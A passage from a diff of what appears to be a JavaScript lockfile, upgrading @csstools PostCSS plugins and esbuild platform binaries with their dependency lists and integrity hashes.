"^1.2.0", "@csstools/css-parser-algorithms": "^2.1.1", "@csstools/css-tokenizer": "^2.1.1", "@csstools/postcss-progressive-custom-properties": "^2.3.0" }, "peerDependencies": { "postcss": "^8.4" } }, "sha512-juCoVInkgH2TZPfOhyx6tIal7jW37L/0Tt+Vcl1LoxqQA9sxcg3JWYZ98pl1BonDnki6s/M7nXzFQHWsWMeHgw=="], + "@csstools/postcss-light-dark-function": ["@csstools/postcss-light-dark-function@3.0.0", "", { "dependencies": { "@csstools/css-parser-algorithms": "^4.0.0", "@csstools/css-tokenizer": "^4.0.0", "@csstools/postcss-progressive-custom-properties": "^5.0.0", "@csstools/utilities": "^3.0.0" }, "peerDependencies": { "postcss": "^8.4" } }, "sha512-s++V5/hYazeRUCYIn2lsBVzUsxdeC46gtwpgW6lu5U/GlPOS5UTDT14kkEyPgXmFbCvaWLREqV7YTMJq1K3G6w=="], - "@csstools/postcss-scope-pseudo-class": ["@csstools/postcss-scope-pseudo-class@2.0.2", "", { "dependencies": { "postcss-selector-parser": "^6.0.10" }, "peerDependencies": { "postcss": "^8.4" } }, "sha512-6Pvo4uexUCXt+Hz5iUtemQAcIuCYnL+ePs1khFR6/xPgC92aQLJ0zGHonWoewiBE+I++4gXK3pr+R1rlOFHe5w=="], + "@csstools/postcss-logical-float-and-clear": ["@csstools/postcss-logical-float-and-clear@4.0.0", "", { "peerDependencies": { "postcss": "^8.4" } }, "sha512-NGzdIRVj/VxOa/TjVdkHeyiJoDihONV0+uB0csUdgWbFFr8xndtfqK8iIGP9IKJzco+w0hvBF2SSk2sDSTAnOQ=="], - "@csstools/postcss-stepped-value-functions": ["@csstools/postcss-stepped-value-functions@2.1.1", "", { "dependencies": { "@csstools/css-calc": "^1.1.1", "@csstools/css-parser-algorithms": "^2.1.1", "@csstools/css-tokenizer": "^2.1.1" }, "peerDependencies": { "postcss": "^8.4" } }, "sha512-YCvdF0GCZK35nhLgs7ippcxDlRVe5QsSht3+EghqTjnYnyl3BbWIN6fYQ1dKWYTJ+7Bgi41TgqQFfJDcp9Xy/w=="], + "@csstools/postcss-logical-overflow": ["@csstools/postcss-logical-overflow@3.0.0", "", { "peerDependencies": { "postcss": "^8.4" } }, "sha512-5cRg93QXVskM0MNepHpPcL0WLSf5Hncky0DrFDQY/4ozbH5lH7SX5ejayVpNTGSX7IpOvu7ykQDLOdMMGYzwpA=="], - "@csstools/postcss-text-decoration-shorthand": ["@csstools/postcss-text-decoration-shorthand@2.2.4", "", { "dependencies": { "@csstools/color-helpers": "^2.1.0", "postcss-value-parser": "^4.2.0" }, "peerDependencies": { "postcss": "^8.4" } }, "sha512-zPN56sQkS/7YTCVZhOBVCWf7AiNge8fXDl7JVaHLz2RyT4pnyK2gFjckWRLpO0A2xkm1lCgZ0bepYZTwAVd/5A=="], + "@csstools/postcss-logical-overscroll-behavior": ["@csstools/postcss-logical-overscroll-behavior@3.0.0", "", { "peerDependencies": { "postcss": "^8.4" } }, "sha512-82Jnl/5Wi5jb19nQE1XlBHrZcNL3PzOgcj268cDkfwf+xi10HBqufGo1Unwf5n8bbbEFhEKgyQW+vFsc9iY1jw=="], - "@csstools/postcss-trigonometric-functions": ["@csstools/postcss-trigonometric-functions@2.1.1", "", { "dependencies": { "@csstools/css-calc": "^1.1.1", "@csstools/css-parser-algorithms": "^2.1.1", "@csstools/css-tokenizer": "^2.1.1" }, "peerDependencies": { "postcss": "^8.4" } }, "sha512-XcXmHEFfHXhvYz40FtDlA4Fp4NQln2bWTsCwthd2c+MCnYArUYU3YaMqzR5CrKP3pMoGYTBnp5fMqf1HxItNyw=="], + "@csstools/postcss-logical-resize": ["@csstools/postcss-logical-resize@4.0.0", "", { "dependencies": { "postcss-value-parser": "^4.2.0" }, "peerDependencies": { "postcss": "^8.4" } }, "sha512-L0T3q0gei/tGetCGZU0c7VN77VTivRpz1YZRNxjXYmW+85PKeI6U9YnSvDqLU2vBT2uN4kLEzfgZ0ThIZpN18A=="], - "@csstools/postcss-unset-value": ["@csstools/postcss-unset-value@2.0.1", "", { "peerDependencies": { "postcss": "^8.4" } }, "sha512-oJ9Xl29/yU8U7/pnMJRqAZd4YXNCfGEdcP4ywREuqm/xMqcgDNDppYRoCGDt40aaZQIEKBS79LytUDN/DHf0Ew=="], + "@csstools/postcss-logical-viewport-units": ["@csstools/postcss-logical-viewport-units@4.0.0", "", { "dependencies": { "@csstools/css-tokenizer": "^4.0.0", "@csstools/utilities": "^3.0.0" }, "peerDependencies": { "postcss": "^8.4" } }, "sha512-TA3AqVN/1IH3dKRC2UUWvprvwyOs2IeD7FDZk5Hz20w4q33yIuSg0i0gjyTUkcn90g8A4n7QpyZ2AgBrnYPnnA=="], - "@csstools/selector-specificity": ["@csstools/selector-specificity@2.2.0", "", { "peerDependencies": { "postcss-selector-parser": "^6.0.10" } }, "sha512-+OJ9konv95ClSTOJCmMZqpd5+YGsB2S+x6w3E1oaM8UuR5j8nTNHYSz8c9BEPGDOCMQYIEEGlVPj/VY64iTbGw=="], + "@csstools/postcss-media-minmax": ["@csstools/postcss-media-minmax@3.0.1", "", { "dependencies": { "@csstools/css-calc": "^3.1.1", "@csstools/css-parser-algorithms": "^4.0.0", "@csstools/css-tokenizer": "^4.0.0", "@csstools/media-query-list-parser": "^5.0.0" }, "peerDependencies": { "postcss": "^8.4" } }, "sha512-I+CrmZt23fyejMItpLQFOg9gPXkDBBDjTqRT0UxCTZlYZfGrzZn4z+2kbXLRwDfR59OK8zaf26M4kwYwG0e1MA=="], + + "@csstools/postcss-media-queries-aspect-ratio-number-values": ["@csstools/postcss-media-queries-aspect-ratio-number-values@4.0.0", "", { "dependencies": { "@csstools/css-parser-algorithms": "^4.0.0", "@csstools/css-tokenizer": "^4.0.0", "@csstools/media-query-list-parser": "^5.0.0" }, "peerDependencies": { "postcss": "^8.4" } }, "sha512-FDdC3lbrj8Vr0SkGIcSLTcRB7ApG6nlJFxOxkEF2C5hIZC1jtgjISFSGn/WjFdVkn8Dqe+Vx9QXI3axS2w1XHw=="], + + "@csstools/postcss-mixins": ["@csstools/postcss-mixins@1.0.0", "", { "dependencies": { "@csstools/css-parser-algorithms": "^4.0.0", "@csstools/css-tokenizer": "^4.0.0" }, "peerDependencies": { "postcss": "^8.4" } }, "sha512-rz6qjT2w9L3k65jGc2dX+3oGiSrYQ70EZPDrINSmSVoVys7lLBFH0tvEa8DW2sr9cbRVD/W+1sy8+7bfu0JUfg=="], + + "@csstools/postcss-nested-calc": ["@csstools/postcss-nested-calc@5.0.0", "", { "dependencies": { "@csstools/utilities": "^3.0.0", "postcss-value-parser": "^4.2.0" }, "peerDependencies": { "postcss": "^8.4" } }, "sha512-aPSw8P60e/i9BEfugauhikBqgjiwXcw3I9o4vXs+hktl4NSTgZRI0QHimxk9mst8N01A2TKDBxOln3mssRxiHQ=="], + + "@csstools/postcss-normalize-display-values": ["@csstools/postcss-normalize-display-values@5.0.1", "", { "dependencies": { "postcss-value-parser": "^4.2.0" }, "peerDependencies": { "postcss": "^8.4" } }, "sha512-FcbEmoxDEGYvm2W3rQzVzcuo66+dDJjzzVDs+QwRmZLHYofGmMGwIKPqzF86/YW+euMDa7sh1xjWDvz/fzByZQ=="], + + "@csstools/postcss-oklab-function": ["@csstools/postcss-oklab-function@5.0.2", "", { "dependencies": { "@csstools/css-color-parser": "^4.0.2", "@csstools/css-parser-algorithms": "^4.0.0", "@csstools/css-tokenizer": "^4.0.0", "@csstools/postcss-progressive-custom-properties": "^5.0.0", "@csstools/utilities": "^3.0.0" }, "peerDependencies": { "postcss": "^8.4" } }, "sha512-3d/Wcnp2uW6Io0Tajl0croeUo46gwOVQI9N32PjA/HVQo6z1iL7yp19Gp+6e5E5CDKGpW7U822MsDVo2XK1z0Q=="], + + "@csstools/postcss-position-area-property": ["@csstools/postcss-position-area-property@2.0.0", "", { "peerDependencies": { "postcss": "^8.4" } }, "sha512-TeEfzsJGB23Syv7yCm8AHCD2XTFujdjr9YYu9ebH64vnfCEvY4BG319jXAYSlNlf3Yc9PNJ6WnkDkUF5XVgSKQ=="], + + "@csstools/postcss-progressive-custom-properties": ["@csstools/postcss-progressive-custom-properties@5.0.0", "", { "dependencies": { "postcss-value-parser": "^4.2.0" }, "peerDependencies": { "postcss": "^8.4" } }, "sha512-NsJoZ89rxmDrUsITf8QIk5w+lQZQ8Xw5K6cLFG+cfiffsLYHb3zcbOOrHLetGl1WIhjWWQ4Cr8MMrg46Q+oACg=="], + + "@csstools/postcss-property-rule-prelude-list": ["@csstools/postcss-property-rule-prelude-list@2.0.0", "", { "dependencies": { "@csstools/css-parser-algorithms": "^4.0.0", "@csstools/css-tokenizer": "^4.0.0" }, "peerDependencies": { "postcss": "^8.4" } }, "sha512-qcMAkc9AhpzHgmQCD8hoJgGYifcOAxd1exXjjxilMM6euwRE619xDa4UsKBCv/v4g+sS63sd6c29LPM8s2ylSQ=="], + + "@csstools/postcss-random-function": ["@csstools/postcss-random-function@3.0.1", "", { "dependencies": { "@csstools/css-calc": "^3.1.1", "@csstools/css-parser-algorithms": "^4.0.0", "@csstools/css-tokenizer": "^4.0.0" }, "peerDependencies": { "postcss": "^8.4" } }, "sha512-SvKGfmj+WHfn4bWHaBYlkXDyU3SlA3fL8aaYZ8Op6M8tunNf3iV9uZyZZGWMCbDw0sGeoTmYZW9nmKN8Qi/ctg=="], + + "@csstools/postcss-relative-color-syntax": ["@csstools/postcss-relative-color-syntax@4.0.2", "", { "dependencies": { "@csstools/css-color-parser": "^4.0.2", "@csstools/css-parser-algorithms": "^4.0.0", "@csstools/css-tokenizer": "^4.0.0", "@csstools/postcss-progressive-custom-properties": "^5.0.0", "@csstools/utilities": "^3.0.0" }, "peerDependencies": { "postcss": "^8.4" } }, "sha512-HaMN+qMURinllszbps2AhXKaLeibg/2VW6FriYDrqE58ji82+z2S3/eLloywVOY8BQCJ9lZMdy6TcRQNbn9u3w=="], + + "@csstools/postcss-scope-pseudo-class": ["@csstools/postcss-scope-pseudo-class@5.0.0", "", { "dependencies": { "postcss-selector-parser": "^7.1.1" }, "peerDependencies": { "postcss": "^8.4" } }, "sha512-kBrBFJcAji3MSHS4qQIihPvJfJC5xCabXLbejqDMiQi+86HD4eMBiTayAo46Urg7tlEmZZQFymFiJt+GH6nvXw=="], + + "@csstools/postcss-sign-functions": ["@csstools/postcss-sign-functions@2.0.1", "", { "dependencies": { "@csstools/css-calc": "^3.1.1", "@csstools/css-parser-algorithms": "^4.0.0", "@csstools/css-tokenizer": "^4.0.0" }, "peerDependencies": { "postcss": "^8.4" } }, "sha512-C3br0qcHJkQ0qSGUBnDJHXQdO8XObnCpGwai5m1L2tv2nCjt0vRHG6A9aVCQHvh08OqHNM2ty1dYDNNXV99YAQ=="], + + "@csstools/postcss-stepped-value-functions": ["@csstools/postcss-stepped-value-functions@5.0.1", "", { "dependencies": { "@csstools/css-calc": "^3.1.1", "@csstools/css-parser-algorithms": "^4.0.0", "@csstools/css-tokenizer": "^4.0.0" }, "peerDependencies": { "postcss": "^8.4" } }, "sha512-vZf7zPzRb7xIi2o5Z9q6wyeEAjoRCg74O2QvYxmQgxYO5V5cdBv4phgJDyOAOP3JHy4abQlm2YaEUS3gtGQo0g=="], + + "@csstools/postcss-syntax-descriptor-syntax-production": ["@csstools/postcss-syntax-descriptor-syntax-production@2.0.0", "", { "dependencies": { "@csstools/css-tokenizer": "^4.0.0" }, "peerDependencies": { "postcss": "^8.4" } }, "sha512-elYcbdiBXAkPqvojB9kIBRuHY6htUhjSITtFQ+XiXnt6SvZCbNGxQmaaw6uZ7SPHu/+i/XVjzIt09/1k3SIerQ=="], + + "@csstools/postcss-system-ui-font-family": ["@csstools/postcss-system-ui-font-family@2.0.0", "", { "dependencies": { "@csstools/css-parser-algorithms": "^4.0.0", "@csstools/css-tokenizer": "^4.0.0" }, "peerDependencies": { "postcss": "^8.4" } }, "sha512-FyGZCgchFImFyiHS2x3rD5trAqatf/x23veBLTIgbaqyFfna6RNBD+Qf8HRSjt6HGMXOLhAjxJ3OoZg0bbn7Qw=="], + + "@csstools/postcss-text-decoration-shorthand": ["@csstools/postcss-text-decoration-shorthand@5.0.3", "", { "dependencies": { "@csstools/color-helpers": "^6.0.2", "postcss-value-parser": "^4.2.0" }, "peerDependencies": { "postcss": "^8.4" } }, "sha512-62fjggvIM1YYfDJPcErMUDkEZB6CByG8neTJqexnZe1hRBgCjD4dnXDLoCSSurjs1LzjBq6irFDpDaOvDZfrlw=="], + + "@csstools/postcss-trigonometric-functions": ["@csstools/postcss-trigonometric-functions@5.0.1", "", { "dependencies": { "@csstools/css-calc": "^3.1.1", "@csstools/css-parser-algorithms": "^4.0.0", "@csstools/css-tokenizer": "^4.0.0" }, "peerDependencies": { "postcss": "^8.4" } }, "sha512-e8me32Mhl8JeBnxVJgsQUYpV4Md4KiyvpILpQlaY/eK1Gwdb04kasiTTswPQ5q7Z8+FppJZ2Z4d8HRfn6rjD3w=="], + + "@csstools/postcss-unset-value": ["@csstools/postcss-unset-value@5.0.0", "", { "peerDependencies": { "postcss": "^8.4" } }, "sha512-EoO54sS2KCIfesvHyFYAW99RtzwHdgaJzhl7cqKZSaMYKZv3fXSOehDjAQx8WZBKn1JrMd7xJJI1T1BxPF7/jA=="], + + "@csstools/selector-resolve-nested": ["@csstools/selector-resolve-nested@4.0.0", "", { "peerDependencies": { "postcss-selector-parser": "^7.1.1" } }, "sha512-9vAPxmp+Dx3wQBIUwc1v7Mdisw1kbbaGqXUM8QLTgWg7SoPGYtXBsMXvsFs/0Bn5yoFhcktzxNZGNaUt0VjgjA=="], + + "@csstools/selector-specificity": ["@csstools/selector-specificity@6.0.0", "", { "peerDependencies": { "postcss-selector-parser": "^7.1.1" } }, "sha512-4sSgl78OtOXEX/2d++8A83zHNTgwCJMaR24FvsYL7Uf/VS8HZk9PTwR51elTbGqMuwH3szLvvOXEaVnqn0Z3zA=="], + + "@csstools/utilities": ["@csstools/utilities@3.0.0", "", { "peerDependencies": { "postcss": "^8.4" } }, "sha512-etDqA/4jYvOGBM6yfKCOsEXfH96BKztZdgGmGqKi2xHnDe0ILIBraRspwgYatJH9JsCZ5HCGoCst8w18EKOAdg=="], "@dabh/diagnostics": ["@dabh/diagnostics@2.0.3", "", { "dependencies": { "colorspace": "1.1.x", "enabled": "2.0.x", "kuler": "^2.0.0" } }, "sha512-hrlQOIi7hAfzsMqlGSFyVucrx38O+j6wiGOf//H2ecvIEqYN4ADBSS2iLMh5UFyDunCNniUIPk/q3riFv45xRA=="], @@ -1063,55 +1135,57 @@ "@emnapi/wasi-threads": ["@emnapi/wasi-threads@1.1.0", "", { "dependencies": { "tslib": "^2.4.0" } }, "sha512-WI0DdZ8xFSbgMjR1sFsKABJ/C5OnRrjT06JXbZKexJGrDuPTzZdDYfFlsgcCXCyf+suG5QU2e/y1Wo2V/OapLQ=="], - "@esbuild/aix-ppc64": ["@esbuild/aix-ppc64@0.25.1", "", { "os": "aix", "cpu": "ppc64" }, "sha512-kfYGy8IdzTGy+z0vFGvExZtxkFlA4zAxgKEahG9KE1ScBjpQnFsNOX8KTU5ojNru5ed5CVoJYXFtoxaq5nFbjQ=="], + "@esbuild/aix-ppc64": ["@esbuild/aix-ppc64@0.27.3", "", { "os": "aix", "cpu": "ppc64" }, "sha512-9fJMTNFTWZMh5qwrBItuziu834eOCUcEqymSH7pY+zoMVEZg3gcPuBNxH1EvfVYe9h0x/Ptw8KBzv7qxb7l8dg=="], - "@esbuild/android-arm": ["@esbuild/android-arm@0.25.1", "", { "os": "android", "cpu": "arm" }, "sha512-dp+MshLYux6j/JjdqVLnMglQlFu+MuVeNrmT5nk6q07wNhCdSnB7QZj+7G8VMUGh1q+vj2Bq8kRsuyA00I/k+Q=="], + "@esbuild/android-arm": ["@esbuild/android-arm@0.27.3", "", { "os": "android", "cpu": "arm" }, "sha512-i5D1hPY7GIQmXlXhs2w8AWHhenb00+GxjxRncS2ZM7YNVGNfaMxgzSGuO8o8SJzRc/oZwU2bcScvVERk03QhzA=="], - "@esbuild/android-arm64": ["@esbuild/android-arm64@0.25.1", "", { "os": "android", "cpu": "arm64" }, "sha512-50tM0zCJW5kGqgG7fQ7IHvQOcAn9TKiVRuQ/lN0xR+T2lzEFvAi1ZcS8DiksFcEpf1t/GYOeOfCAgDHFpkiSmA=="], + "@esbuild/android-arm64": ["@esbuild/android-arm64@0.27.3", "", { "os": "android", "cpu": "arm64" }, "sha512-YdghPYUmj/FX2SYKJ0OZxf+iaKgMsKHVPF1MAq/P8WirnSpCStzKJFjOjzsW0QQ7oIAiccHdcqjbHmJxRb/dmg=="], - "@esbuild/android-x64": ["@esbuild/android-x64@0.25.1", "", { "os": "android", "cpu": "x64" }, "sha512-GCj6WfUtNldqUzYkN/ITtlhwQqGWu9S45vUXs7EIYf+7rCiiqH9bCloatO9VhxsL0Pji+PF4Lz2XXCES+Q8hDw=="], + "@esbuild/android-x64": ["@esbuild/android-x64@0.27.3", "", { "os": "android", "cpu": "x64" }, "sha512-IN/0BNTkHtk8lkOM8JWAYFg4ORxBkZQf9zXiEOfERX/CzxW3Vg1ewAhU7QSWQpVIzTW+b8Xy+lGzdYXV6UZObQ=="], - "@esbuild/darwin-arm64": ["@esbuild/darwin-arm64@0.25.1", "", { "os": "darwin", "cpu": "arm64" }, "sha512-5hEZKPf+nQjYoSr/elb62U19/l1mZDdqidGfmFutVUjjUZrOazAtwK+Kr+3y0C/oeJfLlxo9fXb1w7L+P7E4FQ=="], + "@esbuild/darwin-arm64": ["@esbuild/darwin-arm64@0.27.3", "", { "os": "darwin", "cpu": "arm64" }, "sha512-Re491k7ByTVRy0t3EKWajdLIr0gz2kKKfzafkth4Q8A5n1xTHrkqZgLLjFEHVD+AXdUGgQMq+Godfq45mGpCKg=="], - "@esbuild/darwin-x64": ["@esbuild/darwin-x64@0.25.1", "", { "os": "darwin", "cpu": "x64" }, "sha512-hxVnwL2Dqs3fM1IWq8Iezh0cX7ZGdVhbTfnOy5uURtao5OIVCEyj9xIzemDi7sRvKsuSdtCAhMKarxqtlyVyfA=="], + "@esbuild/darwin-x64": ["@esbuild/darwin-x64@0.27.3", "", { "os": "darwin", "cpu": "x64" }, "sha512-vHk/hA7/1AckjGzRqi6wbo+jaShzRowYip6rt6q7VYEDX4LEy1pZfDpdxCBnGtl+A5zq8iXDcyuxwtv3hNtHFg=="], - "@esbuild/freebsd-arm64": ["@esbuild/freebsd-arm64@0.25.1", "", { "os": "freebsd", "cpu": "arm64" }, "sha512-1MrCZs0fZa2g8E+FUo2ipw6jw5qqQiH+tERoS5fAfKnRx6NXH31tXBKI3VpmLijLH6yriMZsxJtaXUyFt/8Y4A=="], + "@esbuild/freebsd-arm64": ["@esbuild/freebsd-arm64@0.27.3", "", { "os": "freebsd", "cpu": "arm64" }, "sha512-ipTYM2fjt3kQAYOvo6vcxJx3nBYAzPjgTCk7QEgZG8AUO3ydUhvelmhrbOheMnGOlaSFUoHXB6un+A7q4ygY9w=="], - "@esbuild/freebsd-x64": ["@esbuild/freebsd-x64@0.25.1", "", { "os": "freebsd", "cpu": "x64" }, "sha512-0IZWLiTyz7nm0xuIs0q1Y3QWJC52R8aSXxe40VUxm6BB1RNmkODtW6LHvWRrGiICulcX7ZvyH6h5fqdLu4gkww=="], + "@esbuild/freebsd-x64": ["@esbuild/freebsd-x64@0.27.3", "", { "os": "freebsd", "cpu": "x64" }, "sha512-dDk0X87T7mI6U3K9VjWtHOXqwAMJBNN2r7bejDsc+j03SEjtD9HrOl8gVFByeM0aJksoUuUVU9TBaZa2rgj0oA=="], - "@esbuild/linux-arm": ["@esbuild/linux-arm@0.25.1", "", { "os": "linux", "cpu": "arm" }, "sha512-NdKOhS4u7JhDKw9G3cY6sWqFcnLITn6SqivVArbzIaf3cemShqfLGHYMx8Xlm/lBit3/5d7kXvriTUGa5YViuQ=="], + "@esbuild/linux-arm": ["@esbuild/linux-arm@0.27.3", "", { "os": "linux", "cpu": "arm" }, "sha512-s6nPv2QkSupJwLYyfS+gwdirm0ukyTFNl3KTgZEAiJDd+iHZcbTPPcWCcRYH+WlNbwChgH2QkE9NSlNrMT8Gfw=="], - "@esbuild/linux-arm64": ["@esbuild/linux-arm64@0.25.1", "", { "os": "linux", "cpu": "arm64" }, "sha512-jaN3dHi0/DDPelk0nLcXRm1q7DNJpjXy7yWaWvbfkPvI+7XNSc/lDOnCLN7gzsyzgu6qSAmgSvP9oXAhP973uQ=="], + "@esbuild/linux-arm64": ["@esbuild/linux-arm64@0.27.3", "", { "os": "linux", "cpu": "arm64" }, "sha512-sZOuFz/xWnZ4KH3YfFrKCf1WyPZHakVzTiqji3WDc0BCl2kBwiJLCXpzLzUBLgmp4veFZdvN5ChW4Eq/8Fc2Fg=="], - "@esbuild/linux-ia32": ["@esbuild/linux-ia32@0.25.1", "", { "os": "linux", "cpu": "ia32" }, "sha512-OJykPaF4v8JidKNGz8c/q1lBO44sQNUQtq1KktJXdBLn1hPod5rE/Hko5ugKKZd+D2+o1a9MFGUEIUwO2YfgkQ=="], + "@esbuild/linux-ia32": ["@esbuild/linux-ia32@0.27.3", "", { "os": "linux", "cpu": "ia32" }, "sha512-yGlQYjdxtLdh0a3jHjuwOrxQjOZYD/C9PfdbgJJF3TIZWnm/tMd/RcNiLngiu4iwcBAOezdnSLAwQDPqTmtTYg=="], - "@esbuild/linux-loong64": ["@esbuild/linux-loong64@0.25.1", "", { "os": "linux", "cpu": "none" }, "sha512-nGfornQj4dzcq5Vp835oM/o21UMlXzn79KobKlcs3Wz9smwiifknLy4xDCLUU0BWp7b/houtdrgUz7nOGnfIYg=="], + "@esbuild/linux-loong64": ["@esbuild/linux-loong64@0.27.3", "", { "os": "linux", "cpu": "none" }, "sha512-WO60Sn8ly3gtzhyjATDgieJNet/KqsDlX5nRC5Y3oTFcS1l0KWba+SEa9Ja1GfDqSF1z6hif/SkpQJbL63cgOA=="], - "@esbuild/linux-mips64el": ["@esbuild/linux-mips64el@0.25.1", "", { "os": "linux", "cpu": "none" }, "sha512-1osBbPEFYwIE5IVB/0g2X6i1qInZa1aIoj1TdL4AaAb55xIIgbg8Doq6a5BzYWgr+tEcDzYH67XVnTmUzL+nXg=="], + "@esbuild/linux-mips64el": ["@esbuild/linux-mips64el@0.27.3", "", { "os": "linux", "cpu": "none" }, "sha512-APsymYA6sGcZ4pD6k+UxbDjOFSvPWyZhjaiPyl/f79xKxwTnrn5QUnXR5prvetuaSMsb4jgeHewIDCIWljrSxw=="], - "@esbuild/linux-ppc64": ["@esbuild/linux-ppc64@0.25.1", "", { "os": "linux", "cpu": "ppc64" }, "sha512-/6VBJOwUf3TdTvJZ82qF3tbLuWsscd7/1w+D9LH0W/SqUgM5/JJD0lrJ1fVIfZsqB6RFmLCe0Xz3fmZc3WtyVg=="], + "@esbuild/linux-ppc64": ["@esbuild/linux-ppc64@0.27.3", "", { "os": "linux", "cpu": "ppc64" }, "sha512-eizBnTeBefojtDb9nSh4vvVQ3V9Qf9Df01PfawPcRzJH4gFSgrObw+LveUyDoKU3kxi5+9RJTCWlj4FjYXVPEA=="], - "@esbuild/linux-riscv64": ["@esbuild/linux-riscv64@0.25.1", "", { "os": "linux", "cpu": "none" }, "sha512-nSut/Mx5gnilhcq2yIMLMe3Wl4FK5wx/o0QuuCLMtmJn+WeWYoEGDN1ipcN72g1WHsnIbxGXd4i/MF0gTcuAjQ=="], + "@esbuild/linux-riscv64": ["@esbuild/linux-riscv64@0.27.3", "", { "os": "linux", "cpu": "none" }, "sha512-3Emwh0r5wmfm3ssTWRQSyVhbOHvqegUDRd0WhmXKX2mkHJe1SFCMJhagUleMq+Uci34wLSipf8Lagt4LlpRFWQ=="], - "@esbuild/linux-s390x": ["@esbuild/linux-s390x@0.25.1", "", { "os": "linux", "cpu": "s390x" }, "sha512-cEECeLlJNfT8kZHqLarDBQso9a27o2Zd2AQ8USAEoGtejOrCYHNtKP8XQhMDJMtthdF4GBmjR2au3x1udADQQQ=="], + "@esbuild/linux-s390x": ["@esbuild/linux-s390x@0.27.3", "", { "os": "linux", "cpu": "s390x" }, "sha512-pBHUx9LzXWBc7MFIEEL0yD/ZVtNgLytvx60gES28GcWMqil8ElCYR4kvbV2BDqsHOvVDRrOxGySBM9Fcv744hw=="], - "@esbuild/linux-x64": ["@esbuild/linux-x64@0.25.1", "", { "os": "linux", "cpu": "x64" }, "sha512-xbfUhu/gnvSEg+EGovRc+kjBAkrvtk38RlerAzQxvMzlB4fXpCFCeUAYzJvrnhFtdeyVCDANSjJvOvGYoeKzFA=="], + "@esbuild/linux-x64": ["@esbuild/linux-x64@0.27.3", "", { "os": "linux", "cpu": "x64" }, "sha512-Czi8yzXUWIQYAtL/2y6vogER8pvcsOsk5cpwL4Gk5nJqH5UZiVByIY8Eorm5R13gq+DQKYg0+JyQoytLQas4dA=="], - "@esbuild/netbsd-arm64": ["@esbuild/netbsd-arm64@0.25.1", "", { "os": "none", "cpu": "arm64" }, "sha512-O96poM2XGhLtpTh+s4+nP7YCCAfb4tJNRVZHfIE7dgmax+yMP2WgMd2OecBuaATHKTHsLWHQeuaxMRnCsH8+5g=="], + "@esbuild/netbsd-arm64": ["@esbuild/netbsd-arm64@0.27.3", "", { "os": "none", "cpu": "arm64" }, "sha512-sDpk0RgmTCR/5HguIZa9n9u+HVKf40fbEUt+iTzSnCaGvY9kFP0YKBWZtJaraonFnqef5SlJ8/TiPAxzyS+UoA=="], - "@esbuild/netbsd-x64": ["@esbuild/netbsd-x64@0.25.1", "", { "os": "none", "cpu": "x64" }, "sha512-X53z6uXip6KFXBQ+Krbx25XHV/NCbzryM6ehOAeAil7X7oa4XIq+394PWGnwaSQ2WRA0KI6PUO6hTO5zeF5ijA=="], + "@esbuild/netbsd-x64": ["@esbuild/netbsd-x64@0.27.3", "", { "os": "none", "cpu": "x64" }, "sha512-P14lFKJl/DdaE00LItAukUdZO5iqNH7+PjoBm+fLQjtxfcfFE20Xf5CrLsmZdq5LFFZzb5JMZ9grUwvtVYzjiA=="], - "@esbuild/openbsd-arm64": ["@esbuild/openbsd-arm64@0.25.1", "", { "os": "openbsd", "cpu": "arm64" }, "sha512-Na9T3szbXezdzM/Kfs3GcRQNjHzM6GzFBeU1/6IV/npKP5ORtp9zbQjvkDJ47s6BCgaAZnnnu/cY1x342+MvZg=="], + "@esbuild/openbsd-arm64": ["@esbuild/openbsd-arm64@0.27.3", "", { "os": "openbsd", "cpu": "arm64" }, "sha512-AIcMP77AvirGbRl/UZFTq5hjXK+2wC7qFRGoHSDrZ5v5b8DK/GYpXW3CPRL53NkvDqb9D+alBiC/dV0Fb7eJcw=="], - "@esbuild/openbsd-x64": ["@esbuild/openbsd-x64@0.25.1", "", { "os": "openbsd", "cpu": "x64" }, "sha512-T3H78X2h1tszfRSf+txbt5aOp/e7TAz3ptVKu9Oyir3IAOFPGV6O9c2naym5TOriy1l0nNf6a4X5UXRZSGX/dw=="], + "@esbuild/openbsd-x64": ["@esbuild/openbsd-x64@0.27.3", "", { "os": "openbsd", "cpu": "x64" }, "sha512-DnW2sRrBzA+YnE70LKqnM3P+z8vehfJWHXECbwBmH/CU51z6FiqTQTHFenPlHmo3a8UgpLyH3PT+87OViOh1AQ=="], - "@esbuild/sunos-x64": ["@esbuild/sunos-x64@0.25.1", "", { "os": "sunos", "cpu": "x64" }, "sha512-2H3RUvcmULO7dIE5EWJH8eubZAI4xw54H1ilJnRNZdeo8dTADEZ21w6J22XBkXqGJbe0+wnNJtw3UXRoLJnFEg=="], + "@esbuild/openharmony-arm64": ["@esbuild/openharmony-arm64@0.27.3", "", { "os": "none", "cpu": "arm64" }, "sha512-NinAEgr/etERPTsZJ7aEZQvvg/A6IsZG/LgZy+81wON2huV7SrK3e63dU0XhyZP4RKGyTm7aOgmQk0bGp0fy2g=="], - "@esbuild/win32-arm64": ["@esbuild/win32-arm64@0.25.1", "", { "os": "win32", "cpu": "arm64" }, "sha512-GE7XvrdOzrb+yVKB9KsRMq+7a2U/K5Cf/8grVFRAGJmfADr/e/ODQ134RK2/eeHqYV5eQRFxb1hY7Nr15fv1NQ=="], + "@esbuild/sunos-x64": ["@esbuild/sunos-x64@0.27.3", "", { "os": "sunos", "cpu": "x64" }, "sha512-PanZ+nEz+eWoBJ8/f8HKxTTD172SKwdXebZ0ndd953gt1HRBbhMsaNqjTyYLGLPdoWHy4zLU7bDVJztF5f3BHA=="], - "@esbuild/win32-ia32": ["@esbuild/win32-ia32@0.25.1", "", { "os": "win32", "cpu": "ia32" }, "sha512-uOxSJCIcavSiT6UnBhBzE8wy3n0hOkJsBOzy7HDAuTDE++1DJMRRVCPGisULScHL+a/ZwdXPpXD3IyFKjA7K8A=="], + "@esbuild/win32-arm64": ["@esbuild/win32-arm64@0.27.3", "", { "os": "win32", "cpu": "arm64" }, "sha512-B2t59lWWYrbRDw/tjiWOuzSsFh1Y/E95ofKz7rIVYSQkUYBjfSgf6oeYPNWHToFRr2zx52JKApIcAS/D5TUBnA=="], - "@esbuild/win32-x64": ["@esbuild/win32-x64@0.25.1", "", { "os": "win32", "cpu": "x64" }, "sha512-Y1EQdcfwMSeQN/ujR5VayLOJ1BHaK+ssyk0AEzPjC+t1lITgsnccPqFjb6V+LsTp/9Iov4ysfjxLaGJ9RPtkVg=="], + "@esbuild/win32-ia32": ["@esbuild/win32-ia32@0.27.3", "", { "os": "win32", "cpu": "ia32" }, "sha512-QLKSFeXNS8+tHW7tZpMtjlNb7HKau0QDpwm49u0vUp9y1WOF+PEzkU84y9GqYaAVW8aH8f3GcBck26jh54cX4Q=="], + + "@esbuild/win32-x64": ["@esbuild/win32-x64@0.27.3", "", { "os": "win32", "cpu": "x64" }, 